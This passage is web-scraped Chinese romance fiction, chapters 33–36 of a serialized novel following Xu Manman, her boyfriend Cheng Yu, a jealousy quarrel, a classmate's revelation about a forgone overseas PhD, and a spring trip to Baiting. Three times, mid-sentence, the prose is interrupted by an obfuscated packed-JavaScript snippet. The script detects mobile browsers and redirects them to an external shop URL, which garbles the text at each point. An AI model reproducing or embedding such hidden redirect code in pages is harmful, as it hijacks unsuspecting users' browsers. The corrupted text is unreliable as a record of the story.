这饭却没有吃成,快到餐厅的时候他手机响了两声,停车之后拿过来看了眼,笑了。 对上许曼曼的眼神,告诉她:“姜蔚。” “嗯?” 许曼曼还没反应过来,他又说:“她今天也来了。” “啊?”许曼曼愣了下,“你不知道?” “不知道。” 他还在看着手机,很愉悦的样子。 “那她现在是?” “还在剧院,全场刚结束。” “那你快点回去吧。”许曼曼立刻解安全带,“去找她。” “不用。”他没有回复,收起手机,“让她等着吧。” “???”许曼曼无语,“你装什么呢?” “又不是我请她来的,结束了才说,没人有义务一直等她。” 他也解了安全带,嘴角勾起一抹笑。 “走吧,去吃饭。” “吃个屁!”许曼曼瞪他,“你再装一个试试呢?到时可别后悔!” “后悔?”他冷笑道,“我要是后悔早就后悔了。” “好了,别装了。” 许曼曼懒得理会他那些少男心思,翻了个白眼。 “适可而止,再装我就不劝了哈。” 他又拿起手机看了一眼,想了想,还是重新系上了安全带。 “那我送你回去。” “不用你送。”许曼曼说,“我自己打车回去。” “没关系,让她多等一会儿。” 许曼曼看着他的表情,摇了摇头。 “你就装吧。” 不过这里离她住的地方倒也不远,就顺路让他先送回去了。 车开到楼下,她拿起包,还是提醒了一下。 “抓住机会,别装了。” “我心里有数。”他语气有些漫不经心。 “你最好是。” 许曼曼伸手去解安全带,头皮却突然一阵痛,像是扯到了头发。 “哎呀!”她疼得叫了一声。 “怎么了?” “头发!”她歪着脑袋,试着扯了扯,“好像挂到了。” 刚才都还没事,应该是重新插安全带的时候挂了进去,不知道怎么弄的,她试了两下都没扯出来,反倒扯得更紧了。 “你可真是个神人。”赵宜杭解开自己的安全带,“等一下,我看看。” 他下了车,转到这边来开了车门,简单观察了一下。 “剪了吧?勾进去的不算太多。” “你是人吗?”许曼曼抬手给了他一下子,“让你解决问题,没让你解决头发!敢剪一厘米我就给你剃秃了!” “那你别动。” 说着,他探身过来,一只手扶住她脑袋,一只手有些费劲地去解头发。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16874803|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>许曼曼怕疼,于是姿势更加僵硬,一动都不敢动。 “好了没?” “快了。”他手上动作其实很轻,“别乱动。” 终于感觉到头发自由了的那一刻,他起身放开了她。 “好了。” “你肯定给我扯下来不止一根!” 许曼曼好了又开始骂人,一边拿起包下车。 “而且好疼——” 话音戛然而止,她看到站在眼前的人,眨了眨眼,以为自己出现了幻觉。 “没打扰你们吧?” 程喻没看她,目光落在旁边的赵宜杭身上,声音冷得像是能结冰。 * “程喻?” 许曼曼先开了口,顺着他的视线看了眼赵宜杭。 这人正一副似笑非笑的样子,没有说话。 “哈哈,他音乐会刚结束,顺路送我回来。” 她着急的时候语速就会很快,然后对赵宜杭说。 “你不是还有事吗,快走吧!” 他这才转头,许曼曼立刻用眼神示意他快走。 “哦,对。” 他脸上挂着笑,又跟程喻打了招呼。 “好久不见,其实——” 话没说完,许曼曼没忍住,顺手给了他一下子,把这话打断了。 她是在身后偷偷动的手,自以为很隐蔽,但程喻视线转到她身上,脸色更阴沉了。 这时才突然醒悟过来,赶紧走过去站到程喻身边。 程喻看着赵宜杭,语气冷淡。 “再见。” 在许曼曼警告的眼神中,赵宜杭含笑点头。 “再见。” 等到车子发动,他却又降下车窗,也不说话,悠悠递出她落下的手机。 许曼曼狼狈地过去,接过手机,没忘了狠狠瞪他一眼。 小声说了句:“快滚。” 他这才笑着开车离开。 车开走之后,这里突然变得有些空荡荡。 许曼曼收起手机,慢吞吞走回去。 “你怎么来了?” “不是说很忙。”他没回答,看着她,“原来就在忙这个?” “……我说了今天去音乐会的呀。” “是说了,但我孤陋寡闻,不知道现在音乐会都还包含这些服务了。” 他话里带刺,许曼曼想起刚才的场景,好像是很容易让人误会。 于是解释道:“我头发被安全带卡扣挂住,他只是帮我解开。” “嗯。” 他话里没什么情绪,许曼曼顿住,于是又问。 “但是你怎么突然来了?” “我来得不是时候?” “没这么说。”她被程喻堵得有点难受,“我就是……” 但也不知道该怎么说,没“就是”出来。 “进去说吧。”她低头去包里翻门禁卡。 因为今天穿得很好看,只背了一个不大的包,里面东西挤挤挨挨的,她拿出卡套,带出了里面一张相纸。 没有接住,相纸飘到了地上,程喻俯身捡了起来。 看了一眼,把相纸递到她面前。 “收好了。” 是刚才她给赵宜杭拍的那张,拍完忘了给他,自己顺手塞到包里了。 许曼曼没有伸手去接,看着程喻,有些无奈。 “我们真的是朋友。” “干吗解释。”他淡淡一笑,“我也没说什么啊。” “你还不如说什么呢。” 她接过那张拍立得,又塞回了包里。 “早跟你说过了,他有喜欢的人,就算我们长得有点像,但真的就只是朋友——” 她碎碎念地说着,话一出口却觉得哪里不对。 抬眼去看,程喻脸上那点笑意终于消失。 “长得像?” 坏了,这事没说过。 他表情彻底冷下来,从手机里翻出一张照片给她看。 “那我想知道,这是你,还是那个跟你长得像的人?” 照片上是昨晚的画面,不知道现场谁拍的。 赵宜杭背着琴盒,正侧头听她说话,脸上带笑,她也是同样的笑容,这个角度看过去,确实是很亲密的样子。 她不记得自己有这样笑过,更不记得两人当时是在说什么,看着照片,一时有些茫然。 对上程喻的视线,只好承认。 “是我。” 程喻收起手机,很轻地叹了一口气。 “我先走了,再待下去可能控制不住情绪。” 许曼曼张了张口,这次是真的不知道该说什么。 他低声说了句。 “晚安。” 然后就转身离开了。 34. 放手 就这样,两人陷入有史以来时间最长的一次冷战。 说是冷战似乎也不算,因为和暑假那次不一样,程喻没有消失,也没有不理人。 就像走的时候还能心平气和说晚安一样,他每天照常问早晚安,分享日常,也打电话视频聊天。 但两人心里都清楚,其实就是在冷战。 他那天是要回学校,特意订了早一天的航班,从东澜转机。 结果当天晚上直接掉头去机场,改签回了华都。 许曼曼有在想,当时是不是应该拦住不让他走的,但就像他说的那样,两个人当时情绪都不好,留下来说不定会更糟。 只是这样问题并没有解决,实在不算什么好的处理方式,感觉陷入了一种奇怪的僵局。 回顾事情经过,说实话许曼曼并不觉得自己有做错什么,但换位思考,她也能理解程喻的反应。 要是程喻做了其中任何一件事,她只会炸得更厉害。 好吧,她承认自己确实很双标。 于是在订回学校的机票的时候,没选直飞,绕了远路从华都转机。 既然是程喻来东澜两人闹了别扭,那她就回赠一次转机解决问题吧。 虽然她也并没有想好要怎么解决。 当然,只要她撒撒娇,主动跟程喻说几句软话,就肯定没问题的。 从小到大,他最吃的就是这一套。 为了给程喻一个惊喜,她没有提前告诉他,只说是下午的飞机回西岭。 下午的时候,她已经到了清岚大学的校园。 他们现在是开学第一周,她知道程喻的课表,今天下午满课。 她没有去教室堵人的打算,刚好中午飞机餐太难吃,没吃几口,于是先去了教学楼附近一间咖啡馆,打算边吃边等。 下午这会儿人不多,她挑了个靠窗的位置,点好餐,正用湿纸巾擦手的时候,座位旁边却来了人。 抬眼看到一个意想不到的人,竟然是傅雅宁。 “啊。” 许曼曼有点呆滞,以为她是路过所以来打个招呼。 虽然她们并没有单独接触过,但她还是友好地笑了笑。 “你好。” 对方手里拎着外带纸袋,点了点头。 “我可以坐吗?” “可以的。” 许曼曼点头,把摊在桌上的钱包和充电宝往这边挪了挪。 看着她在对面坐下,收起湿纸巾,心里有些犯嘀咕。 这么多位置,怎么偏偏要坐这里,而且她明明是要外带的,干吗又不走了。 自己不太擅长和陌生人交流,更不用说这种半生不熟的,实在是好尴尬。 她i人属性犯了,端起苹果汁喝了一口,试图掩饰尴尬。 这一口倒是突然想到一件事。 “你们不是有课吗?” 看了眼手机,是上课时间没错。 “教授临时有事,今天的课改时间了。”傅雅宁看着她,“看来你没跟程喻说你来的事?” 一下子就被看穿,许曼曼有些不好意思。 “我想等他下课再说来着。” “嗯,那看来关于他,你知道的并不多。”她突然笑了,“都是你以为的。” 这话有些不中听,许曼曼皱眉看她,不知道突然来这一出是什么意思。 她好像一直在观察着许曼曼的表情。 “那,不知道这件事你知不知道。” 话说得慢条斯理的,带着一种莫名其妙的优越感。 “关于程喻放弃去美国的事。” * 明明是为了晒太阳才选了窗边的位置,可现在阳光照进来,在桌上映出一片光亮,许曼曼却突然觉得头晕目眩,有点恶心。 傅雅宁身上也笼着这层光,把她的身影照得虚虚实实的,看不太清楚。 那天在雨里觉得温柔漂亮的脸庞,现在落在眼睛里,几乎有些扭曲。 其实许曼曼没怎么在听她说话,感觉有些神游,只看着她的嘴张张合合的,说着一些跟材料化学一样天书般的话。 她说,清岚大学和美国某高校的双博士培养,是国家级重点项目,名额很少,而且不是每年都有,本科生能拿到更是少之又少; 她说,那边的导师是科研大佬,带的课题组,研究方向、资源平台都是行业内最前沿的; 她说,学院内部推荐了他,两边的导师也都很认可,可是程喻连选拔流程都不愿意走,直接放弃了; 她说,前天去办公室交材料,无意间听到教授在劝他,可他似乎心意已决,不打算出国; …… 可许曼曼心里在想,她的三明治要凉了。 终于察觉到许曼曼心不在焉之后,傅雅宁停了下来。 耳边的话音停止,许曼曼这才回过神来,看向她。 她脸上神情莫测,许曼曼分辨不清也不想分辨。 于是笑了笑:“你来跟我说这些做什么呢?” “我想你不知道。” “知不知道也跟你没关系。”许曼曼说,“同学,我们还没熟到可以分享这些信息的地步吧,你不觉得你很冒昧吗?” 现在换傅雅宁皱起眉头,许曼曼顿了顿,继续说下去。 “你有什么想说的,直接跟程喻说好吗,不管是替他遗憾,还是觉得不值得,不需要通过我来传达吧?” “还是说你们没加微信?需要我把他微信号推给你吗?” “哦,不对。”她笑了,“我没有你微信号啊。” “所以说你多冒昧,跟一个同学的女朋友说这些话。你希望我有什么反应呢?紧张地问你是真的吗,还是急得立刻去找程喻问清楚?” “不好意思,让你失望了,我不是这种人。” 她突然觉得特别没意思,从东澜飞来华都转机,早上起就没吃饭,饿着肚子,只喝了两口果汁,却要听到这样一番话,来自一个莫名其妙的人。 “我对程喻的确有很多不知道的事,但只要我想,他都会告诉我,也什么都愿意为我做。你不是已经知道了吗?你跑过来大费周章地告诉我,不就是知道这件事吗,他是为了我才放弃。” “所以你的遗憾不甘,还有别的什么心思,都去找程喻说吧,别跟我说。” 她突然想起赵宜杭的一句话。 “我没义务听你说这些。” 说完,没管她的反应,也没吃已经凉透了的三明治,收起东西离开了咖啡馆。 * 她没去找程喻,直接改签当天晚上的航班,回了西岭。 飞机落地就看到来自程喻的消息,因为比她之前说的时间要晚,问她到了没。 许曼曼现在没心情跟他说话,直接关机。 宿舍里只有俞梦在,李思慕和林乔都是明天回来。她也是下午刚到,还从家里带了烤鸭,许曼曼刚好赶上吃新鲜的。 她饿了一天,刚才在飞机上也没吃,现在啃着鸭腿,感觉心情好多了。 “赵宜杭真不回来上学了?” 俞梦啃着鸭脖子,问她。 “嗯。”许曼曼有些奇怪,“你怎么知道的?还没开学呢。” “这还能不知道,校园墙上哀鸿遍野的。”她说,“毕竟咱们学校能说得上帅的没几个,这就少了一个。” “我们社团才是真完了。”许曼曼说,“他一走,估计全要退了。” 本来贺潇在担心他谈恋爱,这下好,恋爱谈不谈的不说,人直接走了。 他上学期算是坚持下来的,虽然课不一定上几节,但还是留在学校练琴,周末才会飞东澜。 一个寒假下来反而更忙,乐团排练,再加上还要准备比赛的事,时间就不够用了,于是申请了休学。 名义上是休学,但其实大家也都清楚,回来的可能性微乎其微,就像学长一样。 说起这个,许曼曼突然有些感慨,自己这到底是什么体质,怎么身边的人一个接一个,都在休学。 还有一个更棘手的,程喻。 想到今天傅雅宁说的那些事,她心情又低落起来,慢吞吞把剩下的鸭腿啃完。 “梦梦。”她问俞梦,“你觉得爱是抓住还是放手?” “哇。” 俞梦戴着一次性手套,正抓了一口卤菜要吃,脸上是一种迷茫的神情。 “突然上升到这个高度?” 许曼曼被逗笑了,想了想换了种说法。 “也没有,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16885557|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是,假如曹阳现在有了一个很好的机会,为了这个机会放弃你,你能接受吗?” 曹阳是她男朋友,隔壁班的,两人是老乡,一起买票坐车两年多,最近刚走到一起。 “这有什么不能接受的。”她吃下那口卤菜,很无所谓的样子,“祝福哈,好走不送。” “那如果是你,有了一个很好的机会——” “我放弃他。”她话都没听完,直接抢答,“曼曼,我们在一起才不到半年,你是不是过于高估我们之间的感情了?” “好吧。那再次假设,他有了一个很好的机会,可是为了你放弃了,你会怎么想?” “那我还是希望他接受吧,别一时感情用事,之后来埋怨我。” “你觉得他会埋怨你吗?” “说不好。”她摇头,“说实在的,我还没那么了解他,真的。” “但我觉得他不会为了我放弃什么,无关紧要的东西也许可以,晚饭的菜,回家的车票,或者休息时间之类的,但前程这种事,不会的。” 对啊,前程这种事,是人生的分岔路口,不见得哪条路就是对的,可一旦走过去,就回不了头了。 “是程喻吧?” 她喝了口可乐,一针见血地指出。 许曼曼没有否认。 “你别拿我们和你俩比呀。”俞梦说,“你们多少年的感情了。” “不过,当然了,对于程喻来说,能放弃的东西,肯定比我们要重得多。” 她说,看到许曼曼抬眼,摊了摊手。 “就算你跟我一通假设,我能想到的最多也就是,一个月薪高一点的工作,或者学校的保研名额,之类的。” “不过对于程喻他们那种人来说,要说到放弃,那肯定就远不止这些了。” 许曼曼没说话,想起傅雅宁说的那些名词,优青之类的,她甚至都不知道是什么意思。 见她若有所思的样子,俞梦问了句。 “程喻什么星座的?” “嗯?”许曼曼反应了下,“狮子。” “狮子啊,那我不太了解。”她思考着,“你是摩羯,我也不太了解。” 许曼曼笑了:“那你问什么。” “随口一问嘛。”俞梦也笑了,语气却认真起来,“但我是天蝎,我告诉你,别放手。” “嗯?” “收回我刚才说的,管他是为你放弃什么,别放手。”她说,“爱是放手这种话,都是骗那种文艺电影看多了的人,爱是紧紧抓住,管他以后会不会后悔,爱你的人,绝对绝对不要放手。” * 手机开机,有新的未接来电和消息,许曼曼没有看,直接给程喻打了回去。 接起来只说:“刚才没电自动关机了。” “嗯。”程喻说,“我想应该也是。” 又问她:“几点到学校的?冷不冷?吃饭了没?” 许曼曼没回答,问他:“你呢?在干什么?” “回寝室的路上。”他说,“今天结束得早一点。” “你们今天上了几节课?” “两节,下午有一门取消了,教授临时有事。” “哦。” 她应了声,不说话了。 假期还剩两天,今天回来的人不算多,这个点宿舍楼下有点冷清。 晚上又起了薄薄一层雾,香樟树的影子像浮在河上,到处都是模糊的湿漉漉的。 “曼曼?” 她不说话,程喻试着叫了一声。 “嗯。”她回过神来,问他,“小鱼,你有没有什么要跟我说的?” “有。”他竟然立刻回答。 “那说吧,我听着。” “电话里可能说不清楚,我周末去找你吧,想当面说。” 许曼曼想了想:“可以。” “好,那就周末见?” “嗯。” 要挂电话之前,他却又叫住她。 “曼曼,不然我还是提前说一下。” “什么?” “是我的错。”他说,“我不该发脾气。” 许曼曼仍然在盯着那树影,陷入短暂的沉默。 程喻,其实你不必总是先道歉的。 35. 春天 问题悬而未决,像压在心头一颗沉沉的大石头,可春天就要过去了。 五一三天假,程喻也不知道怎么凑出了两天,要来找她。 因为时间太短,就打算只去隔壁省玩一下。 假期快到的时候,他在电话里偶然提到。 “董旬和女朋友竟然也要去那里。” 董旬和张世鹏,是他在星港最好的两个朋友,当然,除了许曼曼之外。 三个人从初中部到高中部,再到理科班,一直都在一起。 上了大学,天南海北地分开了,张世鹏去了楚川,董旬去了怀宁。 许曼曼问了句:“他们是从怀宁出发?” “嗯。”程喻说,“他还说想四个人一起玩,被我拒绝了。” 他语气里满是邀功的意思,许曼曼想了想,却说。 “可以啊。” “嗯?”程喻愣了下,“可以?你可以吗?” “有什么不可以的。”许曼曼越发肯定了,“跟董旬说,一起玩呗。” “曼曼,不用为了我勉强自己的。” 他赶紧表态,撇清关系。 “我不是很想和他一起,我们自己玩就好了。” “谁为了你了?”许曼曼笑了,“程喻,不要自恋,我就是觉得人多更好玩。” “好吧。”他还是有些犹豫,“那我跟他说一声?你真的确定?” “确定确定!话怎么这么多!” 她确实不是喜欢一起玩的性格,也说不清为什么,就是同意了。 那就当是很久没见,想和老同学见一面了吧。 去的是白汀,虽然和西岭距离不远,许曼曼还一次都没有去过。 春天的白汀真是很适合旅游,风轻云淡,满城花开。难得的假期,自然也来了大批游客。 订的是湖边一家客栈,程喻和许曼曼先到,董旬他们晚上才能到。 办理完住宿,刚好是适合看落日的时间,于是去了附近的公园。 公园其实是一片狭长沙洲,长长地伸进湖里,沿着步道走到尽头,眼前就是漫无边际的湖水,会给人一种海的错觉。 但湖和海是很不一样的。两人在步道尽头坐下来,湖水安静地流动着,没有海浪声。 落日看起来并不遥远,咸蛋黄一样缀在天边,把周围的一切都染成了橘色。 许曼曼看着遥远的湖面,有些放空。 直到程喻开口,把她的思绪拉了回来。 “你心情不好。” 他用的不是疑问句,是肯定句。 手里还在玩着她一缕头发,绕来绕去的。 她想了想:“有吗?” “有。”他语气肯定,“你不高兴的时候就是这样。” “被你气的呀。”她说,“给我道歉。” “对不起。”他甚至没有问为什么。 “……” 许曼曼把他的手拍开,这下是真的有点没好气。 “问我为什么!” 这人听话得有些过分,立刻照做。 “为什么?” “因为你问都不问就道歉。” 他笑了:“这也不行?” “不准笑!”许曼曼瞪他,“看到你就来气!” “那怎么办。”他还是在笑,伸手揽过她,“要一直生气了。” 她又不说话了。 视线掠过已经转为深色的湖面,不远处有水鸟飞起,扑棱棱去往天边。 落日快要沉到湖水之下了。 “这里晚上能看到星星。” 程喻拿出了哄人的架势,声音低沉,轻轻擦过她耳朵。 “要不要来看?” * 但董旬他们到得有点晚,四个人一起去古城吃饭,顺便逛了一圈,回来已经快深夜,许曼曼在看星星和睡觉之间,果断选择了后者。 倒也没安排什么紧凑的日程,上午在湖边骑车吹风,下午去了周边的古镇,这里有当地传统的银器作坊,陈林语很想去体验一下。 陈林语就是董旬的女朋友,一个温温柔柔的女生,说话轻声细语的,许曼曼在她身边都跟着沉静起来。 手工银器有不少种类可以选,陈林语想做戒指,这自然是热门选择,老板娘拿出图册给她介绍款式,还可以刻字。 董旬在旁边听着,瞄了眼许曼曼空空的手。 “这不是情侣戒吗?”他问程喻。 从许曼曼生日那天起,程喻手上就一直戴着那枚戒指,现在也是。 而许曼曼只戴了那一天,虽说可以当项链,但也没怎么戴过,手上脖子上都是空空如也。 “当然是。”程喻替她解释,“曼曼手上不喜欢戴东西。” “你也是够能唱独角戏的。” 董旬评价完,转头对着陈林语卖乖。 “我没事,我手上什么都可以戴,你让我做什么我就做什么。” “那能请你闭嘴吗?” “……” 陈林语说这种话也是温温柔柔的,又对许曼曼说。 “别理他。” 许曼曼笑了,她的确对手上戴的东西没什么兴趣,一本册子翻到底,挑了铃铛。 说是体验,其实需要自己动手的不多,大部分都是师傅在弄,只在锻打成型的时候,让她们来敲上几锤。 但只是看着也挺有意思的,她和陈林语一起看师傅退火整形,很是沉迷。 一边看一边闲聊,陈林语说起自己考试的事。 她是师范生,教师资格证笔试已经过了,下周要面试。 “反正练来练去也就那样,出来放松一下也好,不然晚上做梦都在备课,太恐怖了。” “我觉得你很适合当老师。”许曼曼真心实意地说,“肯定没问题的。” “希望如此吧。” 戒指已经成型,师傅最后调整完弧度,开始在上面刻字。 陈林语问她:“那你们呢?” “嗯?” 许曼曼还在入迷地看着,没反应过来。 “异地恋应该挺不容易的吧?你们毕业之后有什么打算?” 陈林语是个很务实的人,对未来的规划很清晰。 她是怀宁人,准备考当地的编制,董旬也会留在怀宁工作。 而对于许曼曼来说,这种听起来有些遥远的事情,还没有完全落到现实。 她没答上来,去买饮料的刚好回来了,程喻把插好吸管的果汁递给许曼曼。 两人显然也听到了这问题,董旬坐下来,问程喻。 “你应该会继续读书吧?” “嗯。”程喻又给许曼曼递纸巾。 “那如果曼曼不去华都,不是还要异地?” 许曼曼喝着果汁,还在盯着师傅手上的动作,听到他回答。 “不会啊,曼曼去东澜的话,我也去东澜。” “东澜??” 董旬声音都大了些。 “你这不闹呢?东澜哪个学校能比得上你们学校?怎么还有人往下走的?” “那边研究所也不错,而且产业环境更成熟。”程喻语气轻松,“没什么不好的。” “……真行。”董旬继续问,“那要是曼曼回星港呢?或者留在西岭?这你怎么说?” “要说什么,全中国不是只有华都能做科研。” 这时两枚戒指先打磨好,师傅打断了他们的对话。 “戒指是谁的?试一下吧?” 两个人过去试戴戒指,还有要最后调整的地方。 自始至终,许曼曼都一言不发,吸管在嘴里咬着,其实没喝到什么。 “又咬吸管。” 程喻轻拍了下她的手,她这才放开,默默把手伸过去,手心沾上了一点果汁。 程喻抽出纸巾,帮她擦干净了。 “热吗?”他抬手贴过她脸颊,试了试温度,“是不是靠太近了,怎么蔫蔫的?” “还好,不热。” 眼前两个人都戴上了情侣戒指,这下就只有她一个人没戴,很像是被孤立。 也不对,好像是程喻在被孤立。 她又下意识地咬起了吸管。 * 晚上陈林语去找在这边的同学玩,都是女生,就没有带董旬。 于是三个人一起行动,去了古城里一间酒吧。 这边的小酒吧都挺有特色的,露天院子里的小舞台,有唱民谣的歌手在上面唱歌,还可以点歌。 院子里露营地一样,灯串横跨院子上空,墙边挂着小灯笼,光影落在石板地上,随着风轻轻摇晃。 甚至还有一小团篝火,只是坐在附近会有点热,他们坐到了稍远的位置。 晚上的风很舒服,许曼曼不怎么听民谣,但台上歌手抱着吉他,一首接一首地唱,唱得她的心有些轻飘飘。 也可能是因为喝了酒,酒吧的自制柠檬酒很好喝,她一不留神就喝了三杯。 再要续杯时,程喻按住了她的手。 “还要喝?” “我酒量可比你好。”许曼曼晃了晃脑袋,“你看,没事。” “看着点吧。”董旬在旁边发出一声嘲笑,对程喻说,“开始摇头晃脑就差不多了。” 程喻没理他,好声好气跟她讲道理。 “这酒后劲大,还是先缓一缓吧,喝杯柠檬水,好不好?” “谁在酒吧喝柠檬水啊?” “那喝杯果汁?” “有区别吗?”许曼曼凑近,盯着他的眼睛,“你看我像醉了的样子吗?” 四目相对,程喻笑了。 “好吧,那最后一杯。” “行。” 许曼曼随口应着,又抬手叫了一杯。 “来的时候不想来。”董旬说,“结果来了就你喝得最欢。” 他也只喝了两杯,倒是上去跟人家歌手互动,合唱了一首歌。 “你唱得也很难听,谢谢。” “……” 董旬被她噎到,跟程喻控诉。 “你能不能管管 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918629|190428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她?” “是很难听啊。”程喻一秒都没有犹豫,“说错了吗?” “……” 董旬愤恨举杯,把剩下的一点一饮而尽。 “张世鹏说得没错,你小子,重色轻友第一名!” “谢谢。” “……” 他们俩你一言我一语的,许曼曼没怎么在听,她正侧身听台上的歌手唱歌。 现在是点歌时间,换了一个女歌手,正唱客人点的歌。 “你能体谅我有雨天 偶尔胆怯你都了解 过去那些大雨落下的瞬间 我突然发现 谁能体谅我的雨天 所以情愿回你身边 此刻脚步会慢一些 如此坚决 你却越来越远” 她不由抬头去看,今晚是个大晴天。 * 回去得还算早,因为董旬要去接陈林语。 离开酒吧没走多久,许曼曼却停下了脚步。 “还没去看星星呢。” 是昨天程喻说过的,两人明天上午就要走,现在不去就没机会了。 “现在吗?”程喻抬手帮她理了理被风吹乱的头发,“你想去?” “嗯。” “好,但晚上湖边会冷,我回去给你拿件外套。” 他对董旬说:“你先在这里陪她一会儿,我回去一趟。” “这里?”董旬稀奇地四处看了看,“这里应该不会有人贩子吧?” “她喝酒了。”程喻说,“我很快回来。” “行吧。” 程喻走后,两人等在路边,许曼曼看着旁边一个卖花的摊位,两大桶满满都是各种各样的花,花香直往人的鼻子里钻。 “程喻是不是对你有点过保护了?” 董旬也顺着她的视线看过去,说了句。 “是有点。” 他本来是玩笑话,听到许曼曼这么说,自己反倒解释了起来。 “他原来也这样,初中那会儿就是了,当时我们还开玩笑,说他这朋友当的,比谈恋爱的还腻味,要是真谈恋爱那还得了。” “没想到。”他声音里带着点笑意,“谈恋爱也是和你。” “那你们觉得会是谁?” 许曼曼转头看他。 这话像是把他问住了,饶有趣味地想了想。 “你别说,还真没有。” “其实程喻一直还挺受欢迎的,这你不会不知道吧?” 说着,他先举手声明。 “没别的意思啊,我就是实话实说,而且程喻从来也没接受过她们的好意,我发誓。” 许曼曼白了他一眼:“我说什么了吗?” 他笑了,又接着说下去。 “其实初中的时候还好,升高中之后,感觉这小子人气越来越高了,我们都还挺羡慕的。” “不过也没见他对谁有意思,总是冷冷的,而且身边又有个你,说实话我们也没往别的方面想。” “联考的时候,我们理科班不是去的实验嘛,就去了两天,结果两天都有女生找他搭讪,有一个我见了,是真漂亮!” 他回忆起来有点忘我,看到许曼曼的表情,又连忙把话往回收。 “说了他没怎么样哈,那女生是实验的,我感觉他都没有看清她长什么样子。” 有人来花摊买花,是对年轻的情侣,从桶里挑出一支山茶。 许曼曼看着红色的花苞,说了句。 “其实他应该去实验的。” 在星港,最好的高中是星港实验中学,省重点,比一中要高一个档次,分数线大概差十几分。 当年中考,程喻是全市第一名,却没有去实验,而是选择直升一中高中部。 “实验是很好。”董旬说,“可留在一中也没耽误程喻当状元啊。” 是,三年过去,高考理科全市前二十,实验占了十六个,可第一名还是程喻。 所以校长高兴成那样,直到今天程喻的喜报还在校门外挂着。 可没道理根据结果倒推,不管怎么看,就算有二十个,不,二百个人,也只有程喻一个人会选择一中。 “其实我们也很纳闷,他好好的放着省重点不去,非要留在这个市重点。” 说着,董旬看了她一眼。 “我觉得他是因为你才留在一中的。” 买花的情侣付了钱离开,许曼曼收回视线,靠到了墙上。 “我问过他,他说不是。” “那能是因为什么?”董旬笑了,“你还真信了?” “我当时信了。” 她看到程喻的身影在远处出现,隔着这中间古城的夜色人潮,手里拿着她的外套,朝这边走过来。 他一个人的时候就是这样,表情冷淡,看不出心里在想什么。 或许到现在她也还是不太明白。 喧闹的人声中,她又轻声说了一句,董旬没有听到。 她说,现在不会了。 36. 星星 当年中考过后,两个人有过一次小小的冷战。 许曼曼中考没什么压力,她成绩算是中上,实验想都不用想,所以一早就定了要升高中部。 实验在隔壁区,不算太远,但上学时间肯定是要提早的。 不像一中,走路十几分钟的路程,坐公交的话只要两站路。 距离这么近,可许曼曼每天都睡不醒,又磨磨蹭蹭,程喻跟着她,总是徘徊在迟到的边缘。 考前最后一天上课,要拿回家的东西比较多,程喻背了两人份的书包,还替她搬着一个纸箱。 许曼曼买完奶茶,终于良心发现,插上吸管,先把第一口递给他。 程喻摇头,她自己喝了起来。 “最后一次,等你去了实验,就不用等我了。” 说着,看了眼路边等车的人,又陷入幻想。 “到时我可要坐公交,你知道吗,学长也坐这一班,搞不好我能在车上遇到他,然后可以一起走,电视剧里都是这样的。” 她走路不看路,程喻伸手拉了她一把。 “照你起床的时间,应该是遇不到的。” 转头瞪他,却听到后面一句。 “而且,谁跟你说我要去实验的?” “……啊?” 许曼曼愣了一下,才反应过来他在说什么。 她停下脚步,程喻也跟着停下,轻拍了下她的手。 “又咬吸管。” 许曼曼这才回过神来,看了眼奶茶杯。 “完了,我珍珠要吸不上来了。” 但这不是重点,她问程喻。 “别扯了,你不去实验去哪里?” “留在一中啊。”他说,“不然呢?” 许曼曼嗤笑一声:“校长听了你这话肯定高兴。” 她跟上他的脚步,走在夏天下午的树荫下,因为想到校长在年级大会上的样子,而吃吃发笑。 “那你呢?”程喻问她,“你高兴吗?” “什么?”许曼曼没反应过来。 “如果我留在一中,你高兴吗?” 许曼曼从没想过这个可能性,拜托,程喻肯定是要去实验的,谁会想过这个可能性啊。 但还是顺着他的话,想了想。 “有什么高不高兴的。”她说,“不一直是这样。” 走过三年的路,再走三年,陪在身边的人,再一起三年。 “但是,实验的校服我不喜欢。”她露出嫌弃的表情,“尤其夏天的,那个橙绿拼色到底是谁想出来的,也太丑了,穿上老十岁,还是一中蓝好看。” 一中初中部和高中部的校服颜色不一样,但都是蓝色系,初中部是浅蓝色,高中部是深蓝色。 穿着浅蓝色T恤的程喻笑了:“是有点。” 许曼曼打量着他,想象他穿着橙绿拼色校服的样子,不由痛心地摇了摇头。 “哎,但是他们校门口那家炸鸡好吃!” 她突然想起这事,眼睛亮了。 “到时放学你去给我买!他们店没有外卖真的很烦,想吃又懒得过去,我妈总说吃附近那家就好,可就是没有他们家的好吃!” 想到以后程喻放学回来可以给她带炸鸡,她立时又变得美滋滋,奶茶都更好喝了。 * 